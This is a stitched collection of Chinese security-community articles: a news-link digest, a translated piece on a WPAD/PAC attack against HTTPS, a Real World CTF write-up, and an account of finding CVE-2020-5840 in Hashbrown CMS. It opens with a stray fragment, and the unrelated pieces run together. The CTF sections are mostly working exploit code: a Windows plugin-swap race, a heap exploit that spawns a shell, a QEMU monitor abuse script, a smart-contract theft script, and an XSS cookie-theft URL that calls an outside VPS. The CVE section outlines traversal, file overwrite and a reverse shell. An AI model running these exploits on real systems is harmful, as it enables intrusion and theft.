从防御的角度，我们也展示了如何通过ETW事件分析检测真正的父进程，这项研究表明，防御者必须突破当前界限，始终领先于攻击者一步。 | 社区文章 |
# 2月25日安全热点 - SamSam再次来袭，科罗拉多交通部遭到重创
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
科罗拉多交通部门2000多台电脑被SamSam勒索软件感染
<http://securityaffairs.co/wordpress/69492/malware/samsam-ransomware-colorado-dot.html>
<https://www.bleepingcomputer.com/news/security/samsam-ransomware-hits-colorado-dot-agency-shuts-down-2-000-computers/>
Data Keeper在野勒索软件出现
<https://www.bleepingcomputer.com/news/security/data-keeper-ransomware-makes-first-victims-two-days-after-release-on-dark-web-raas/>
Talos：2月16日至23日威胁总结
<http://blog.talosintelligence.com/2018/02/threat-round-up-0216-0223.html>
安卓操作系统的下一个主要版本Android P将阻止后台应用程序访问手机的相机或麦克风
<https://www.bleepingcomputer.com/news/mobile/android-p-will-block-background-apps-from-accessing-phones-camera-and-microphone/>
## 技术类
是谁悄悄偷走我的电（三）：某在线广告网络公司案例分析
<http://blog.netlab.360.com/who-is-stealing-my-power-iii-an-adnetwork-company-case-study/>
应用安全:JAVA反序列化漏洞之殇
[https://mp.weixin.qq.com/s?__biz=MzI3NzAzMjEyNg==&mid=2649530469&idx=1&sn=4a2ba687274aec2f44b29660b8567fcd&chksm=f3747db4c403f4a2c1fb3ac7cb869f347bfc74a838266ef55455d7b4495ab0481abef81e660f&scene=0&key=840d183eb8a3dbfa5f3f32cb8d30667e5030e61ccbe28114](https://mp.weixin.qq.com/s?__biz=MzI3NzAzMjEyNg==&mid=2649530469&idx=1&sn=4a2ba687274aec2f44b29660b8567fcd&chksm=f3747db4c403f4a2c1fb3ac7cb869f347bfc74a838266ef55455d7b4495ab0481abef81e660f&scene=0&key=840d183eb8a3dbfa5f3f32cb8d30667e5030e61ccbe28114)
用 javascript 框架绕过 XSS 防御
<https://paper.seebug.org/533/>
打破.Net框架的界限
> [.Net over .net – Breaking the Boundaries of the .Net
> Framework](https://jimshaver.net/2018/02/22/net-over-net-breaking-the-> boundaries-of-the-net-framework/)
CVE-2018-4878 Exploit生成器
<http://py4.me/blog/?p=572>
网安学科知识体系正式发布
<https://mp.weixin.qq.com/s/uZFYl3xKT5-aWzvI3mmQ2A>
2017年度蜜计划（蜜罐工作）总结
<https://mp.weixin.qq.com/s/SIBGnMc-XIqy2Ohj1ni_fg>
Writeup – Flag Checker 2，Mario Mystery，Envy（Xiomara CTF）
<https://advancedpersistentjest.com/2018/02/24/writeup-flag-checker-2-mario-mystery-envy-xiomara-ctf/>
GitLeaks——检查git回购密钥
<https://github.com/zricethezav/gitleaks>
使用YubiKey解锁LUKS分区
<https://github.com/agherzan/yubikey-full-disk-encryption>
Mitmproxy 3发布
<https://mitmproxy.org/posts/releases/mitmproxy3/> | 社区文章 |
# 新的攻击方法可以绕过Mac 、Windows和Linux平台上的HTTPS加密保护
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://arstechnica.com/security/2016/07/new-attack-that-cripples-https-crypto-works-on-macs-windows-and-linux/>
译文仅供参考，具体内容表达以及含义原文为准。
**黑客可以在最依赖HTTPs的地方——Wi-Fi热点处发动攻击。**
**HTTPS加密能够提供一种关键性的保护,它让攻击者在远程监控终端用户的网络流量时,无法看见用户访问过的网站的地址。现在,研究人员设计出了一种新的攻击方法,可以打破这种保护。**
攻击者可以在各种类型的网络中发动这种攻击,甚至是在公共Wi-Fi中也可以,而这可以说是最依赖HTTPS的一种网络。该攻击主要利用了一种名为WPAD(Web
Proxy
Autodisovery)的特性,这种特性会将某些浏览器请求暴露给攻击者,然后攻击者就可以看到目标用户访问过的每个网站的URL了。这种利用几乎对所有的浏览器和操作系统都有不利的影响。在下周位于拉斯维加斯的黑帽安全会议上,这种新的攻击将会在一场演讲中被演示出来。
Itzik Kotler是 SafeBreach安全公司的联合创始人和首席技术官,同时也是上述会议的一名演讲者,她在一封电子邮件中写道:“即使局域网和Wi-Fi不可信(例如公共酒店、咖啡馆、机场、餐厅的公共Wi-Fi),人们还是依赖HTTPS来保证他们的通信安全。我们已经向人们展示过,在启用WPAD时,HTTPS无法提供安全保障,因此,很多人在通过非可信网络进行浏览时,事实上就已经暴露在这种攻击面前了。”
除了URL,其他的HTTPs流量也会受到攻击的影响,并且在某些情况下,
URL的暴露就已经可以对安全造成致命的打击了。例如,OpenID标准会使用URL来验证用户和服务。另一个例子是谷歌和Dropbox提供的文件共享服务,它会向用户发送一个包含URL的安全令牌,继而进行工作。许多密码重置机制也同样依赖于基于URL的安全令牌。攻击者只要在上述的任何一种情况下获得这些URL,就能进入目标用户的帐户、获取他们的数据。
最可能的攻击方式是,当一台电脑尝试使用动态主机配置协议连接到网络时,攻击者会发送一个恶意响应。攻击者可以使用DHCP来帮助建立一个代理服务器,当浏览器试图访问特定的URL时,使用的就将是这个代理服务器。这种攻击的原理是,强制浏览器获得PAC
(proxy
autoconfig)文件,该文件在遇到指定类型的URL时,会触发代理的运作。由于在HTTPS连接建立起来之前,恶意的PAC代码就已经接收到了请求,因此攻击者可以获取完整的明文URL。
第二种攻击方式是,利用恶意软件修改目标设备的网络设置,进而使用一个代理。在上述的两种情况下,受攻击的目标都不会看到任何危险的信号,浏览器地址栏也仍然显示出HTTPS连接是有效的。不同之处在于,在第一个场景中,计算机的网络选项(例如Mac的网络设置中的代理选项卡)将显示它使用了自动配置的代理,但没有更详细的说明。而在第二个方法中,计算机的网络配置中不仅会显示使用了自动配置的代理,还将显示攻击者的URL。
这并不是唯一一种利用WPAD和PAC发动的攻击。今年4月,研究人员记录到,一种名为BlackMoon的银行木马在受感染的计算机上安装PAC文件,当用户访问目标网站时,会将其浏览器重定向到网络钓鱼页面。文件中还包含一个JavaScript函数,BlackMoon利用它来截获用户的凭证,并且故意使目标银行网站变得模糊。在下周的黑帽大会上,人们会对这件事情进行单独的讨论。
在黑帽网站上有这样的一些内容:“演讲者将会分享他的团队对WPAD进行实验时的过程,他们探究的是WPAD是否仍然存在问题,或者问题是否已经被软件和操作系统供应商修复。在这个实验中,研究者分别在内部网和开放网络中发动了攻击。”
这种PAC攻击利用的是在1999年起草的WPAD规范内的漏洞,这意味着操作系统或浏览器供应商很难修复这种漏洞。不过, 微软的Edge和Internet
Explorer
11在很大程度上可以避开这些漏洞,因为它们调用了FindProxyForUrl函数,缩短了URL的长度,只留下主机名,这和包含了身份验证令牌或凭证的完整URL是完全不同的。
SafeBreach安全研究部的副总裁Amit Klein在一封电子邮件中说:“这样做的话, 可以将暴露协议数据的可能性降到最低(仅含主机名),
因为有了DNS查询,主机名早已不是秘密,因此我们认为这不太敏感。用户也可以采取措施来禁用WPAD,但在连接到某个给定的网络时,这些解决办法是没有效果的。” | 社区文章 |
> 我们是由Eur3kA和flappypig组成的联合战队r3kapig。上周末，我们参与了长亭科技举办的Real World CTF
> 并取得了第三名的成绩。题目很有趣，所以我们决定把我们做出来的题目的writeup发出来分享给大家。
> 另外我们战队目前正在招募队员，欢迎想与我们一起玩的同学加入我们，尤其是熟悉密码学或浏览器利用的大佬。给大家递茶。
# WEB
## bookhub
首先是源码泄露www.zip
然后登陆时发现whitelist里有一个外网的ip
18.213.16.123
于是访问flask的默认端口5000
发现服务开放在debug模式
于是审计代码中app.debug的部分
发现redis lua
其中用python3.6的新特性
并且可以控制session拼接恶意代码
调用redis.call给我们自己命名的session赋值
并且这里由于@login_requried写上面了
所以并没有作用
于是进行未授权访问和操作
## dot free
关键代码如上
这里可以按要求构造json，如下
<http://13.57.104.34/?{%22iframe%22:{%22value%22:%20%22\u002f\u005c1998326715:8889/a%22}}>
（利用/\去bypass//不能用）
题目会请求vps
在vps上放一个index.html打cookie
<http://13.57.104.34/?{%22iframe%22:{%22value%22:%20%22\u002f\u005c1998326715%22}}>
请求即可
# PWN
## untrustworthy
题目提供了一个上传PE文件的服务，可以上传PE文件并在沙箱(sandbox.exe)中执行。
题目关键逻辑是server.exe,
逆向了一下大概是一个RPC服务，可以通过RPC服务开启一个authentication服务，并且可以通过管道与authentication服务进行交互。
authentication服务提供了两种认证方式，一种是账号密码认证，一种是插件认证。只要认证通过的话就可以拿到flag。
账号密码的认证是通过比对c:\ctf\password.txt跟选手提供的密码是否一致，而插件认证则是提供插件(dll)所在的相对路径，并比较插件文件sha256是否为某个特定的值，如果是的话就通过LoadLibrary
来调用插件的auth函数。
由于有沙箱，所以我们并不能直接读到password进行账号密码认证，所以我们尝试攻击插件认证，我们主要的思路就是自己写一个伪造的插件，然后放置在可写的目录中。然后复制真正的插件也到该可写的目录中，然后提供真正插件的路径给authentication服务。我们race这样一个情形：利用真正的插件让sha256的检查通过，接着直接覆盖真正的插件为我们的伪造插件，使得LoadLibary
load我们自己伪造的插件，从而直接通过认证，拿到flag。so called Code Replacement Attack
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
#include <rpc.h>
#include <midles.h>
#include "Source_h.h"
#include "resource.h"
#include "Source_c.c" // header file generated by MIDL compiler
typedef unsigned __int64* LPQWORD;
#pragma comment(lib,"Rpcrt4.lib")
void __cdecl main(int argc, char **argv)
{
setvbuf(stdout,0,_IONBF,0);
RPC_STATUS status;
RPC_WSTR pszStringBinding = NULL;
unsigned long ulCode;
// Use a convenience function to concatenate the elements of
// the string binding into the proper sequence.
status = RpcStringBindingCompose(0,
(RPC_WSTR)L"ncalrpc",
0,
(RPC_WSTR)L"ZygoteEndpoint",
0,
&pszStringBinding);
printf_s("RpcStringBindingCompose returned 0x%x\n", status);
wprintf_s(L"pszStringBinding = %s\n", pszStringBinding);
if (status) {
exit(status);
}
// Set the binding handle that will be used to bind to the server.
status = RpcBindingFromStringBinding(pszStringBinding, &rpc_handle);
printf_s("RpcBindingFromStringBinding returned 0x%x\n", status);
if (status) {
exit(status);
}
printf_s("Calling the remote procedure\n");
HANDLE in=0;
HANDLE out=0;
unsigned __int64 test=0;
DWORD tmp=0;
DWORD outsize=0;
wchar_t *target=L"C:\\Users\\realworld\\AppData\\LocalLow\\nonick.dll";
HRSRC hres=FindResourceA(0,MAKEINTRESOURCEA(IDR_DLL1),"DLL");
HGLOBAL hgres=LoadResource(0,hres);
DWORD size = SizeofResource(0, hres);
char* res = (char*)LockResource(hgres);
RpcTryExcept {
char *tmpbuf=0;
DWORD t=0;
do
{
t++;
if (tmpbuf)
{
delete tmpbuf;
tmpbuf=0;
}
RemoteOpen((LPVOID*)&test);
CopyFile(L"C:\\ctf\\auth_plugins\\fail_plugin.dll",target,0);
Spawn((VOID*)test,(__int64 *)&in,(__int64 *)&out);
DWORD option=2;
WriteFile(in,&option,4,&tmp,NULL);
char plugin_path[] = "..\\..\\Users\\realworld\\AppData\\LocalLow\\nonick.dll\x00";
DWORD len = lstrlenA(plugin_path) + 1;
WriteFile(in, &len, 4, &tmp, NULL);
WriteFile(in, plugin_path, len, &tmp, NULL);
HANDLE hfile= INVALID_HANDLE_VALUE;
Sleep(15); // This is crucial
while (hfile==INVALID_HANDLE_VALUE)
{
hfile =CreateFile(target,GENERIC_READ|GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_FLAG_NO_BUFFERING,0);
}
WriteFile(hfile,res,size,&tmp,0);
CloseHandle(hfile);
ReadFile(out, &outsize, 4, &tmp, NULL);
tmpbuf=new char[outsize];
RtlSecureZeroMemory(tmpbuf,outsize);
ReadFile(out, tmpbuf, outsize, &tmp, NULL);
tmpbuf[tmp]=0;
RemoteClose((LPVOID*)&test);
} while (*tmpbuf=='N');
printf_s("t=%d,Received:%s.\n",t,tmpbuf);
printf_s("CTX value :%llx\n",test);
printf_s("Handle value:%llx,%llx\n",in,out);
}
RpcExcept(( ( (RpcExceptionCode() != STATUS_ACCESS_VIOLATION) &&
(RpcExceptionCode() != STATUS_DATATYPE_MISALIGNMENT) &&
(RpcExceptionCode() != STATUS_PRIVILEGED_INSTRUCTION) &&
(RpcExceptionCode() != STATUS_BREAKPOINT) &&
(RpcExceptionCode() != STATUS_STACK_OVERFLOW) &&
(RpcExceptionCode() != STATUS_IN_PAGE_ERROR) &&
(RpcExceptionCode() != STATUS_GUARD_PAGE_VIOLATION)
)
? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH )) {
ulCode = RpcExceptionCode();
printf_s("Runtime reported exception 0x%lx = %ld\n", ulCode, ulCode);
}
RpcEndExcept
// The calls to the remote procedures are complete.
// Free the string and the binding handle
status = RpcStringFree(&pszStringBinding); // remote calls done; unbind
printf_s("RpcStringFree returned 0x%x\n", status);
if (status) {
exit(status);
}
status = RpcBindingFree(&rpc_handle); // remote calls done; unbind
printf_s("RpcBindingFree returned 0x%x\n", status);
if (status) {
exit(status);
}
exit(0);
}
/*********************************************************************/
/* MIDL allocate and free */
/*********************************************************************/
void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len)
{
return(malloc(len));
}
void __RPC_USER midl_user_free(void __RPC_FAR * ptr)
{
free(ptr);
}
看起来这是个非预期解
## kid_vm
在 18e0的位置有 kvm的虚拟代码，从内存中dump下来，然后16bit 的形式在IDA中打开分析
guest的功能从菜单里面可以看到，漏洞点在:
top在到达0xa000后，如果在分配一个0x1000大小的chunk，就会使得0xb000+0x1000+0x5000变成0x10000，而这个是个16bit的架构，从而chunk的基地址变成0,而0是guest代码的起始位置，那么我们就可以覆盖guest的代码了。
然后就是host的利用了，uaf,限制了fastbin的使用，直接house of orange
from pwn import *
local=0
pc='./kid_vm'
remote_addr="34.236.229.208"
remote_port=9999
aslr=True
libc=ELF('./libc.so.6')
if local==1:
context.log_level=True
p = process(pc,aslr=aslr)
gdb.attach(p,'c')#'b *0x555555555083')
else:
p=remote(remote_addr,remote_port)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def choice(index):
sn(str(index))
def allocate(size):
choice(1)
sa(":",p16(size))
def update(index,content):
choice(2)
sa(":",p8(index))
sa(":",content)
def allocatehost(size):
choice(4)
sa(":",p16(size))
def updatehost(size,index,content):
choice(5)
sa(":",p16(size))
sa(":",p8(index))
sa(":",content)
def freehost(index):
choice(6)
sa(":",p8(index))
if __name__ == '__main__':
#int overflow
for i in range(0xb):
allocate(0x1000)
# modify
update(0,p16(0x1)*0x800)
allocate(0x226)
f=open('./mem','rb') # the guest code
data=f.read()
# free and clean
data=data[:0x10]+"\xb8\x00\x40\xbb\x30\x00"+data[0x16:0x1A3]+'\xbb\x01\x00'+data[0x1a6:0x1e2]+"\xbb\x01\x00"+data[(0x1e2+3):0x220]+"\x8b\x1e\x00\x50\x66\xc3"
# free and not clean , lead to UAF
data2=data[:0x10]+"\xb8\x00\x40\xbb\x30\x00"+data[0x16:0x1A3]+'\xbb\x02\x00'+data[0x1a6:0x1e2]+"\xbb\x01\x00"+data[(0x1e2+3):0x220]+"\x8b\x1e\x00\x50\x66\xc3"
update(0xb,data)
p.clean()
allocatehost(0x200)
p.clean()
allocatehost(0x200)
p.clean()
allocatehost(0x200)
p.clean()
allocatehost(0x200)
p.clean()
#trigger UAF to leak
freehost(0)
freehost(2)
update(0xb,data2)
updatehost(0x20,0,'1'*0x20)
arena_addr=u64(ru("\x00\x00"))
libc_addr=arena_addr-0x3c4b78
libc.address=libc_addr
lg("libc",libc_addr)
heap_addr=u64(ru("\x00\x00"))-0x420
lg("heap",heap_addr)
allocatehost(0x200)
update(0xb,data)
# house of orange
payload='/bin/sh\x00'+p64(0x61)+p64(0)+p64(heap_addr+0x230)+p64(0)*1+p64(1)
payload=payload.ljust(216,'\x00')+p64(heap_addr+0x250)
updatehost(len(payload),0,payload)
payload=p64(0)*3+p64(0x211)+p64(0)+p64(libc.symbols['_IO_list_all']-0x10)+p64(libc.symbols['system'])*20
updatehost(len(payload),1,payload)
updatehost(0x20,2,p64(0)+p64(heap_addr+0x10)*3)
allocatehost(0x200)
allocatehost(0x200)
allocatehost(0x200)
p.interactive()
## state-of-the-art_vm
一个最新的qemu，查看过devices发现没有自定义devices，根据start.sh发现没有重定向monitor，说明是可以进入monitor的，pwntools中发送\x01可以发送ctrl
+ a，所以\x01c可以进入monitor或者退出monitor。
简单查看后，发现用来执行命令的migrate命令被去掉了，其他命令主要是设备的添加删除等，之后发现qemu存在cdrom，通过info
block可以查看到，ide1-cd0是cdrom设备，对应linux里的/dev/sr0，如果直接cat
/dev/sr0会报错为没有medium，猜想为没有插入cd盘，于是通过change ide1-cd0
./flag尝试将flag作为镜像插入，但是发现cat
/dev/sr0虽然没有报错为没有介质，但是也没有输出，之后尝试使用更长的输入，发现要足够长才能够读出内容。
继续尝试monitor命令发现，通过drive_mirror可以复制文件，通过chardev，backend为tty可以append内容，于是思路为复制文件，之后通过tty添加内容直到足够长，最后通过/dev/sr0读出。
exp：
from time import sleep
from pwn import *
from hashlib import sha1
context(os='linux', arch='amd64', log_level='info')
DEBUG = 0
if DEBUG:
p = process(argv='./start.sh', raw=False)
else:
p = remote('34.236.229.208', 31338)
def pow():
p.recvuntil('that starts with')
s = p.recvuntil(' and')[:-4]
p.recvuntil(') starts with ')
num = p.recvuntil(':')[:-1]
p.info('s %s' % s)
p.info('num %s' % num)
for i in range(100000000):
sha1_ins = sha1()
cur = s + str(i)
sha1_ins.update(cur)
#p.info('digest %s' % sha1_ins.hexdigest())
if sha1_ins.hexdigest().startswith('000000'):
p.recvuntil('work:')
p.sendline(cur)
return
raise Exception('digest not found')
def main():
if not DEBUG:
pow()
p.recvuntil('# ')
ctrl_a = '\x01c'
p.send(ctrl_a)
# in monitor
# copy flag
p.recvuntil('(qemu)')
p.sendline('change ide1-cd0 flag')
p.recvuntil('(qemu)')
p.sendline('drive_mirror ide1-cd0 anciety_flag')
p.recvuntil('(qemu)')
p.sendline('change ide1-cd0 flag')
# append content to my flag
p.recvuntil('(qemu)')
p.sendline('chardev-add serial,id=s1,path=anciety_flag')
p.recvuntil('(qemu)')
p.sendline('device_add pci-serial,id=ss,chardev=s1')
p.recvuntil('(qemu)')
p.send(ctrl_a)
# now do apppend content
#p.recvuntil('#')
sleep(2)
payload = 'a' * 20
p.sendline('for i in `seq 1 500`; do echo %s > /dev/ttyS4; done' % payload)
sleep(2)
# change image back
p.send(ctrl_a)
p.recvuntil('(qemu)')
p.sendline('device_del ss')
p.recvuntil('(qemu)')
p.sendline('chardev-remove s1')
p.recvuntil('(qemu)')
p.sendline('block_job_cancel ide1-cd0')
p.recvuntil('(qemu)')
p.sendline('change ide1-cd0 anciety_flag')
p.recvuntil('(qemu)')
p.sendline(ctrl_a)
# read flag
p.sendline('cat /dev/sr0')
p.recvuntil('#')
p.sendline('cat /dev/sr0')
flag = p.sendline('cat /dev/sr0')
p.success('flag is in %s' % flag)
p.interactive()
if __name__ == '__main__':
main()
# BlockChain
## MultiSigWallet
题目有两个合约，分别是wallet合约和token合约，wallet合约的owner可以添加transaction。而普通用户则可以通过一个id调用对应的的transaction和删除owner添加的transaction。
wallet在处理删除的逻辑中有一个漏洞，那就是他判断了transactions.length>=0才可以删除，删除操作是加transactions.length--,
也就是说transactions.length==0时执行操作会导致length为-1。
另外wallet 在处理添加transaction是先将incoming transaction assign
给一个全局变量tx，如果判断不是owner就退出，并没有清空全局变量tx。
另外由于transactions.length==-1，所以我们可以call
任何id的transaction，又因为tranctions数组跟tx全局变量都是在storage，所以我们可以先通过
添加transaction将一个调用token合约的transfer函数的transactions写到tx，然后通过精巧的构造id使得transactions[id]正好取到tx，就可以直接转账。拿到flag
exp如下
var walletAddr=0;
var tokenAddr=0;
for (i = 0; i < web3.eth.getBlock('latest').number; ++i) {
b = web3.eth.getBlock(i);
if(b.transactions != '' && walletAddr==0) {
var target = web3.eth.getTransactionReceipt(b.transactions.toString()).contractAddress;
console.log('Found contract: ', target);
walletAddr=target
continue;
}
if(b.transactions != '' && walletAddr!=0){
var target = web3.eth.getTransactionReceipt(b.transactions.toString()).contractAddress;
console.log('Found contract: ', target);
tokenAddr=target
break;
}
}
function mine_once(){
miner.start();
admin.sleep(2);
miner.stop();
}
eth.defaultAccount="0x4e5fc5cd21923c49569ea2a745f19168e7aff6e6"
var walletABI = [{"constant":false,"inputs":[{"name":"id","type":"uint256"}],"name":"deleteTransaction","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"rmTrusted","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"addOwner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"imOwner","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"m","type":"string"}],"name":"publishMessage","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"target","type":"address"},{"name":"amount","type":"uint256"},{"name":"isDelegate","type":"bool"},{"name":"data","type":"bytes"}],"name":"submitTransaction","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"addTrusted","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"id","type":"uint256"}],"name":"executeTransaction","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"m","type":"string"}],"name":"Message","type":"event"}]
var tokenABI=[{"constant":false,"inputs":[{"name":"owner","type":"address"}],"name":"setOwner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"account","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"grantToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_amount","type":"uint256"}],"name":"Transfer","type":"event"}]
var walletContract = web3.eth.contract(walletABI);
var tokenContract = web3.eth.contract(tokenABI);
var walletInstanse=walletContract.at(walletAddr);
var tokenInstanse=tokenContract.at(tokenAddr);
function flagcb(error, result){
if (error) {console.log(error);}
else{
console.log(result.args.m);
}
}
var flagEvent = walletInstanse.Message({fromBlock: 0, toBlock: 'latest'});
flagEvent.watch(flagcb);
function step1(){
personal.unlockAccount(eth.defaultAccount,"123")
walletInstanse.deleteTransaction(
"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",
{gas: '3000000'},
function(e,v) {
console.log(e,v);
console.log("fuck");
setTimeout(step2, 20000);
}
);
// mine_once();
}
function step2(){
personal.unlockAccount(eth.defaultAccount,"123")
walletInstanse.submitTransaction(
"0x00000000000000000000000045e34b9945cdcf63ca892c56f9107b3d79388777",
0,
0,
"0xa9059cbb0000000000000000000000004e5fc5cd21923c49569ea2a745f19168e7aff6e600000000000000000000000000000000000000000000000000000000000f4711",
{gas: '3000000'},
function(e,v) {
console.log(e,v);
setTimeout(step3, 20000);
}
);
// mine_once();
}
function step3(){
personal.unlockAccount(eth.defaultAccount,"123")
walletInstanse.executeTransaction(
"0xf5bc84c9aadd2755ca7f2e959df1e40ded1650daadeffdc272741b3a7c4306a8",
{gas: '3000000'},
function(e,v) {
console.log(e,v);
setTimeout(step3, 20000);
}
);
// mine_once();
}
step1()
# Forensic
## ccls-fringe
给了一个cache文件，通过查看ccls代码可以发现cache文件是可以加载的。
通过ccls::Deserialize函数进行cache文件的加载，之后通过ToString可以读出文件内容，得到一个cache的json文件，包括以下类似内容（全文太长
<https://paste.ubuntu.com/p/Xc3rJK9Y5G/）：>
"usr2func": [{
"usr": 1676767203992940432,
"detailed_name": "bool std::Solution::leafSimilar(std::TreeNode *root1, std::TreeNode *root2)",
"qual_name_offset": 5,
"short_name_offset": 20,
"short_name_size": 11,
"kind": 6,
"storage": 0,
"hover": "",
"comments": "",
"declarations": [],
"spell": "38:8-38:19|59306568996318058|2|514",
"extent": "38:3-46:4|59306568996318058|2|0",
"bases": [],
"derived": [],
"vars": [4479758688836879116, 5761950115933087185, 8289061585496345026, 8002124853696534022, 9726294037205706468, 5268924143191533837, 5026390867008208078, 6655996420844398086, 168502829666687781],
"uses": [],
"callees": ["40:8-40:10|1935187987660993811|3|8484", "40:15-40:18|9823770695318396488|3|4", "40:8-40:10|1935187987660993811|3|8484", "40:15-40:18|9823770695318396488|3|4"]
根据spell和extend的内容，可以确认文本，通过int b位置的comment，写有flag is here,通过还原可以得到flag。 | 社区文章 |
# 记CVE-2020-5840发现过程
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本文记录了我在学习了Offensive-Security 的AWAE课程后，用所学的知识练手，发现Hashbrown CMS 漏洞的过程。
## Hashbrown CMS 介绍
Hashbrown CMS 是一款用nodejs
编写的无头CMS。所谓无头CMS其实是指不提供前端网页论坛等等的展示部分，只是提供后端的媒体，网页内容等等的存储和相应的API供内容管理员使用。这款CMS的介绍里面提到
By storing your website’s content separately from the site itself, you are not
only making it hard for attackers to bring down your site, you are also
rendering the effort completely pointless. There is simply no database on your
website from which to steal information and hold ransom
在它的设计里面，用户，项目，媒体等等基本都赋予随机的ID，希望用这种方式保证安全性。
## 漏洞发现过程
原本是希望通过搜索nodejs 的危险函数看有没可以利用的点。在grep ‘exec(‘ 的过程中发现了如下的输出
`grep 'exec(' * -r`
Server/Service/MediaService.js: await
HashBrown.Service.AppService.exec(‘convert ‘ + cachedPath + ‘ -resize ‘ +
width + (height ? ‘x’ + height : ‘’) + ‘> ‘ + cachedPath);
打开源码查看可见这是一个函数， 传入project,media,width,height
参数。235，236行做了目录的拼接，247行建立目录。于是我在248行加了一行debug
命令来打印变量帮助理解。253行看起来是read文件内容，如果cache
里面没有这个文件就在261行复制一份到cache的目录。最后如果满足264行if(width && media.isImage() &&
!media.isSvg()) 的条件执行265行bash命令，有可能可以在cachePath 变量注入bash 命令触发命令执行。
接下来查看哪里调用了这个函数
通过grep 发现Server/Controller/MediaController.js中有调用。
root[@xxxxxx](https://github.com/xxxxxx "@xxxxxx"):~/hashbrown-cms/hashbrown-cms-1.3.1/src# grep getCachedMedia * -r
Server/Controller/MediaController.js: let data = await
HashBrown.Service.MediaService.getCachedMedia(req.project, media,
parseInt(req.query.width), parseInt(req.query.height));
正常情况下req.project和media是随机生成的ID。比下图，如果我们上传一个新的图片，结合之前添加的console log
输出，可见如下标红的几个ID。
media.id: ba25d3f728f346ed
project id: 6e8d287e9be2fb46
cache id: ba25d3f728f346ed
经过分析发现这款CMS在处理上传文件的时候， 真实的文件存放在media.path 比如/root/hashbrown-cms/hashbrown-cms-1.3.1/media/ba25d3f728f346ed/1.png， 同时cache一份放到cache 的目录用随机的project id
和cache id 生成目录和文件名，去掉文件后缀。这样来保证安全性。其中project id 和 cache id 是在http 请求中可控的，
如下图，是在请求的url中包含了project id 和cache id。
那如果我们在project id 或者cache id 中包含我们的恶意bash 命令不是就有可能触发命令注入了么？
一个简单的测试发现不是这么简单。如下图我插入了&id 做测试，结果报错404 not fond。
查看相关代码发现对于提交的这些id，原本是要建立相应的目录的，如图
那如果我们传入的参数程序找不到相应的目录或者文件，就要报404. 到这里看起来命令执行是个dead
end。但是如果只要找到相应的目录或者文件即可那我们是不是可以把directory traversal
的技术放到这里来呢？想到这里做了一番尝试发现这个思路可以
比如设置url末段为../../../../tmp 程序会把系统 tmp目录里面的第一个文件复制到/root/hashbrown-cms/tmp。响应的请求和console 日志如下
Console 日志：
media.id: ../../../../tmp media.path: /root/hashbrown-cms/hashbrown-cms-1.3.1/../../../tmp/a.txt cachedPath: /root/hashbrown-cms/tmp
这里算是一个小进步但是之前的命令注入的目标是无法完成的，即便写成../&id../，在传递给这个函数之前程序也会把&id去掉。那是不是我们可以用同样的方法去看有没有别的函数可以利用。很快就找到了给media
rename 的功能。
正常的request
请求为[http://10.200.159.166:8080/api/6e8d287e9be2fb46/live/media/rename/ba25d3f728f346ed?name=2.png。](http://10.200.159.166:8080/api/6e8d287e9be2fb46/live/media/rename/ba25d3f728f346ed?name=2.png%E3%80%82)
那如果我们对name
进行赋值在有权限的情况下就可以对任意系统文件进行覆盖，加上该CMS原本就不对上传的文件内容做检察，那简直就是任意文件上传+任意系统文件修改。如下图这是一个非常严重的漏洞了。发散一下思维的话我们可以上传passwd
和shadow 文件进行对系统文件覆盖。或者上传ssh 的秘钥用ssh 登录， 还可以在对原本的hashbrown cms
的js文件进行修改，加入恶意代码再覆盖原始文件，
这样再下次运行时候拿到系统的反弹shell。经过试验正事这些思路都可行，这里就不在展示了。如下图放置了一个图片文件到系统的tmp目录。
经过上报给该CMS 的开发， 他致谢后很快就说修复了这问题发布了1.3.2 版本。他采用了Path.basename
函数在有多个/的时候只选取最后一个/以后的部分。但是我发现这其实并不是一个完全的fix。可以用delete media
